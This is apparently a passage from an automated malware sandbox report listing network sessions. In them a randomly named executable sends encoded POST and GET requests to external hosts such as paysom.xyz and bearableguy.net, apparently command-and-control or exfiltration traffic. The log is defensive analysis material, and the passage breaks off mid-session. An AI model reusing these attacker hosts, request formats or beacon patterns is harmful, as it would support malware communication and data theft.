                                                                                                                                                                              Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                              Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              17192.168.2.749723203.161.41.205806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:29.106699944 CEST764OUTPOST /guro/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.paysom.xyz
                                                                                                                                                                              Origin: http://www.paysom.xyz
                                                                                                                                                                              Referer: http://www.paysom.xyz/guro/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 220
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 32 38 4d 6a 2b 78 47 65 66 34 45 6f 46 37 61 6e 33 32 46 62 43 53 36 38 6f 72 5a 69 44 7a 49 51 4a 70 6e 33 68 4a 58 46 4c 7a 63 78 54 45 77 6d 44 67 64 37 31 77 52 50 50 45 50 31 74 33 78 6d 69 79 6f 34 32 4e 78 36 32 43 41 32 68 42 39 6d 49 48 48 73 6a 64 56 7a 34 67 38 6f 41 77 31 61 45 35 43 4c 46 41 6c 33 63 4c 46 52 74 44 6c 4a 48 75 4c 67 74 68 52 4e 77 64 74 4b 6a 45 68 5a 79 32 6e 71 71 71 4c 6d 79 33 71 58 64 48 39 53 54 52 46 73 70 2b 70 45 65 74 2f 58 70 73 7a 43 4d 54 45 6f 4e 59 75 47 46 45 4c 65 73 66 6f 58 2f 64 30 30 61 50 77 31 5a 7a 65 49 58 4e 67 63 32 61 4f 4c 4e 4c 56 53 76 4c 6f 2b 62 6a 50 4f 43 41 3d 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=28Mj+xGef4EoF7an32FbCS68orZiDzIQJpn3hJXFLzcxTEwmDgd71wRPPEP1t3xmiyo42Nx62CA2hB9mIHHsjdVz4g8oAw1aE5CLFAl3cLFRtDlJHuLgthRNwdtKjEhZy2nqqqLmy3qXdH9STRFsp+pEet/XpszCMTEoNYuGFELesfoX/d00aPw1ZzeIXNgc2aOLNLVSvLo+bjPOCA==
                                                                                                                                                                              Oct 2, 2024 15:17:29.695713043 CEST595INHTTP/1.1 404 Not Found
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:29 GMT
                                                                                                                                                                              Server: Apache
                                                                                                                                                                              X-Frame-Options: SAMEORIGIN
                                                                                                                                                                              Content-Length: 389
                                                                                                                                                                              X-XSS-Protection: 1; mode=block
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              18192.168.2.749724203.161.41.205806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:31.652805090 CEST784OUTPOST /guro/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.paysom.xyz
                                                                                                                                                                              Origin: http://www.paysom.xyz
                                                                                                                                                                              Referer: http://www.paysom.xyz/guro/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 240
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 32 38 4d 6a 2b 78 47 65 66 34 45 6f 46 62 4b 6e 34 33 46 62 56 43 36 6a 6b 4c 5a 69 4b 54 49 55 4a 70 37 33 68 49 53 64 4c 46 45 78 53 6c 41 6d 43 6b 70 37 79 77 52 50 42 6b 50 77 67 58 78 76 69 79 55 47 32 4d 4e 36 32 43 45 32 68 44 31 6d 49 30 76 76 67 74 56 39 77 41 38 32 64 67 31 61 45 35 43 4c 46 45 49 53 63 4c 4e 52 74 7a 31 4a 47 50 4c 6e 7a 52 52 4f 34 39 74 4b 30 55 68 56 79 32 6e 63 71 72 6d 39 79 7a 61 58 64 47 4e 53 51 44 39 76 6e 2b 70 47 54 4e 2b 68 6d 64 53 33 43 79 6f 56 46 37 57 50 4e 6d 6a 36 74 70 31 31 6c 2f 34 59 45 65 49 4f 64 78 36 2b 41 72 39 70 30 62 4b 54 41 70 68 7a 77 38 4e 55 57 78 75 4b 55 30 38 6c 4b 4f 44 36 35 5a 31 63 35 45 46 38 42 71 35 42 79 7a 41 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=28Mj+xGef4EoFbKn43FbVC6jkLZiKTIUJp73hISdLFExSlAmCkp7ywRPBkPwgXxviyUG2MN62CE2hD1mI0vvgtV9wA82dg1aE5CLFEIScLNRtz1JGPLnzRRO49tK0UhVy2ncqrm9yzaXdGNSQD9vn+pGTN+hmdS3CyoVF7WPNmj6tp11l/4YEeIOdx6+Ar9p0bKTAphzw8NUWxuKU08lKOD65Z1c5EF8Bq5ByzA=
                                                                                                                                                                              Oct 2, 2024 15:17:32.235506058 CEST595INHTTP/1.1 404 Not Found
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:32 GMT
                                                                                                                                                                              Server: Apache
                                                                                                                                                                              X-Frame-Options: SAMEORIGIN
                                                                                                                                                                              Content-Length: 389
                                                                                                                                                                              X-XSS-Protection: 1; mode=block
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              19192.168.2.749725203.161.41.205806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:34.198438883 CEST1797OUTPOST /guro/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.paysom.xyz
                                                                                                                                                                              Origin: http://www.paysom.xyz
                                                                                                                                                                              Referer: http://www.paysom.xyz/guro/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 1252
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 32 38 4d 6a 2b 78 47 65 66 34 45 6f 46 62 4b 6e 34 33 46 62 56 43 36 6a 6b 4c 5a 69 4b 54 49 55 4a 70 37 33 68 49 53 64 4c 46 38 78 53 54 38 6d 44 44 31 37 7a 77 52 50 4a 45 50 78 67 58 77 39 69 79 4d 61 32 4d 41 42 32 41 73 32 6a 68 4e 6d 44 6c 76 76 37 39 56 39 38 67 38 33 41 77 31 31 45 34 79 48 46 45 34 53 63 4c 4e 52 74 78 64 4a 41 65 4c 6e 78 52 52 4e 77 64 73 59 6a 45 68 78 79 32 2b 70 71 72 54 49 7a 43 6d 58 64 6d 64 53 63 57 52 76 34 75 70 41 66 74 2b 70 6d 64 65 65 43 32 77 76 46 36 7a 48 4e 6c 44 36 74 64 4d 69 77 38 67 48 58 39 34 57 58 41 69 63 4c 4a 74 75 79 62 61 36 47 35 68 6a 39 74 30 6f 61 52 53 67 65 68 74 63 55 6f 71 49 78 62 68 63 2f 30 30 56 65 70 55 62 68 30 37 4b 58 64 45 48 2b 41 6f 71 79 77 6d 63 57 68 31 67 71 78 53 76 4f 70 52 6a 78 76 54 44 4b 6c 55 52 64 63 6b 6d 74 39 50 7a 58 64 36 32 70 6e 41 61 77 45 67 37 33 79 50 45 31 68 38 35 47 68 43 55 4c 45 32 77 4e 4b 4e 4d 74 6a 32 38 72 52 78 5a 33 73 75 63 2f 68 6d 7a 44 48 6e 4f 41 62 73 2b 63 7a [TRUNCATED]
                                                                                                                                                                              Data Ascii: PDnL0H4=28Mj+xGef4EoFbKn43FbVC6jkLZiKTIUJp73hISdLF8xST8mDD17zwRPJEPxgXw9iyMa2MAB2As2jhNmDlvv79V98g83Aw11E4yHFE4ScLNRtxdJAeLnxRRNwdsYjEhxy2+pqrTIzCmXdmdScWRv4upAft+pmdeeC2wvF6zHNlD6tdMiw8gHX94WXAicLJtuyba6G5hj9t0oaRSgehtcUoqIxbhc/00VepUbh07KXdEH+AoqywmcWh1gqxSvOpRjxvTDKlURdckmt9PzXd62pnAawEg73yPE1h85GhCULE2wNKNMtj28rRxZ3suc/hmzDHnOAbs+czejzIrCz4CafN9dPqZ9vqVDlbOgzL8RFD5pA5s0zcUqc9jEOnU8IUtrvZqQK7PaVZGo8+F9JuT8UWaTz3FYiJdPhnNzPxwhzmcqvn2YXRb8b+g1EYEmnANzpSCvGlgaGL2fveQwlvMxIhqugQ9JR6V6s7Ky3ipVYEUA6tDuX0z1RZB6T8KHgiR9xnoVcTFO+67EPB3JZRqqmtSt/hJTWHW6whjZ3D5SBDrdeBvYf6qQkHedAyAYsvbzYiROZfX6sjTdinX1jx42BuT7DU9gVkg/Mi20Pe4hWk3md/D0HUFkHEMVFwQOO2OQ6sc2OwYQimvN2+lce6+LHgNNYu/BM/2ZaJP/G26mH2FDvpvoTZCaLS+P8sdxJJkXo64fUoqFtAn5ZBjtSk9KJlMVHNspZhQn6XKh2D4eZYN5rquCIKPcnP3v9fyZI++fNGmgIbj+eDVztYoX60UuCUiScrM/Q6IfyNUfZczaRyUxpnLmKFKln2O8686/hXYzuS8whZXG0oZJgaZODZk+nGyBZxOx1YjLIiONXbTFZvoyN7TecSq/JZTPeqz5Zru1v7rzUzO5QOEbpV+dv4CS0vVB2sVTg+rMtExoBBXMHpPwiPOf3oYBUXih57PizP6sPpOHBv78KnQQswEU+9BXbpmBqsL0SdS9SwfJ0UnUXFav [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:17:34.801250935 CEST595INHTTP/1.1 404 Not Found
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:34 GMT
                                                                                                                                                                              Server: Apache
                                                                                                                                                                              X-Frame-Options: SAMEORIGIN
                                                                                                                                                                              Content-Length: 389
                                                                                                                                                                              X-XSS-Protection: 1; mode=block
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Type: text/html
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              20192.168.2.749726203.161.41.205806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:36.742149115 CEST504OUTGET /guro/?PDnL0H4=7+kD9FiWdLQbO7Xh4mp3Tzq63KAmHikwKr+gs46wKWEdWXZTCgAq3DZWNFT071I6kRcf0adkrwgUpAlbIxvs7ctY0Q4kDRV1VLfOJzsmQYQkjGZNIcuY5VcZwoAGjmNzsmH6ta/2x1bG&cJ=eZx4P HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.paysom.xyz
                                                                                                                                                                              Connection: close
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Oct 2, 2024 15:17:37.322199106 CEST610INHTTP/1.1 404 Not Found
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:37 GMT
                                                                                                                                                                              Server: Apache
                                                                                                                                                                              X-Frame-Options: SAMEORIGIN
                                                                                                                                                                              Content-Length: 389
                                                                                                                                                                              X-XSS-Protection: 1; mode=block
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED]
                                                                                                                                                                              Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              21192.168.2.7497273.33.130.190806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:42.395409107 CEST779OUTPOST /swj2/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.bearableguy.net
                                                                                                                                                                              Origin: http://www.bearableguy.net
                                                                                                                                                                              Referer: http://www.bearableguy.net/swj2/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 220
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 43 32 30 4c 76 73 71 76 6a 34 55 57 2f 71 46 42 30 31 64 68 50 7a 69 76 54 4b 6c 30 33 6d 2b 36 47 4f 41 59 43 59 6d 6e 73 6a 74 42 77 73 44 39 44 39 66 4d 4d 44 2f 57 4d 46 44 56 30 79 54 64 4a 61 48 7a 4c 4d 4a 47 5a 44 6b 67 33 67 49 47 47 4e 64 57 77 44 75 64 70 2b 51 2b 7a 53 63 74 6d 49 4e 4c 45 47 59 50 30 6c 68 6e 37 55 4d 4c 6f 42 6f 64 47 74 67 71 56 6e 4e 6a 72 42 39 6c 2b 49 61 2b 6b 69 4e 30 4d 46 54 73 67 73 44 33 66 31 4a 68 79 56 69 77 5a 45 36 78 61 33 72 4c 77 52 64 6c 48 6b 77 41 30 64 53 4e 54 6e 72 59 43 4a 54 51 4b 51 51 44 46 52 33 36 77 47 37 53 55 4e 73 53 55 69 33 39 6b 4a 36 59 4a 6a 52 37 4d 77 3d 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=C20Lvsqvj4UW/qFB01dhPzivTKl03m+6GOAYCYmnsjtBwsD9D9fMMD/WMFDV0yTdJaHzLMJGZDkg3gIGGNdWwDudp+Q+zSctmINLEGYP0lhn7UMLoBodGtgqVnNjrB9l+Ia+kiN0MFTsgsD3f1JhyViwZE6xa3rLwRdlHkwA0dSNTnrYCJTQKQQDFR36wG7SUNsSUi39kJ6YJjR7Mw==


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              22192.168.2.7497283.33.130.190806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:44.935419083 CEST799OUTPOST /swj2/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.bearableguy.net
                                                                                                                                                                              Origin: http://www.bearableguy.net
                                                                                                                                                                              Referer: http://www.bearableguy.net/swj2/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 240
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 43 32 30 4c 76 73 71 76 6a 34 55 57 38 4c 56 42 79 53 78 68 49 54 69 75 51 4b 6c 30 39 47 2b 45 47 4f 4d 59 43 5a 7a 2f 73 52 5a 42 7a 49 4c 39 43 38 66 4d 4a 44 2f 57 43 6c 44 51 36 53 54 57 4a 62 37 52 4c 4e 31 47 5a 44 77 67 33 67 59 47 48 2b 46 4a 68 44 75 54 6a 75 51 38 75 69 63 74 6d 49 4e 4c 45 47 4e 71 30 6d 52 6e 37 6b 38 4c 6f 6b 45 65 61 64 67 6c 46 48 4e 6a 67 68 39 68 2b 49 61 4d 6b 6d 46 4f 4d 47 37 73 67 73 54 33 66 45 4a 69 38 6c 69 32 64 45 37 39 4c 55 47 5a 33 30 39 58 48 58 73 55 35 4e 65 6c 66 78 32 36 59 72 66 38 55 42 6f 34 42 54 54 4d 6e 67 6d 6e 57 4d 6f 4b 5a 41 44 63 37 2b 66 79 45 78 77 2f 61 50 6d 6c 79 39 48 68 79 55 62 34 30 67 51 52 47 56 46 39 2b 36 45 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=C20Lvsqvj4UW8LVBySxhITiuQKl09G+EGOMYCZz/sRZBzIL9C8fMJD/WClDQ6STWJb7RLN1GZDwg3gYGH+FJhDuTjuQ8uictmINLEGNq0mRn7k8LokEeadglFHNjgh9h+IaMkmFOMG7sgsT3fEJi8li2dE79LUGZ309XHXsU5Nelfx26Yrf8UBo4BTTMngmnWMoKZADc7+fyExw/aPmly9HhyUb40gQRGVF9+6E=


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              23192.168.2.7497293.33.130.190806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:47.478786945 CEST1812OUTPOST /swj2/ HTTP/1.1
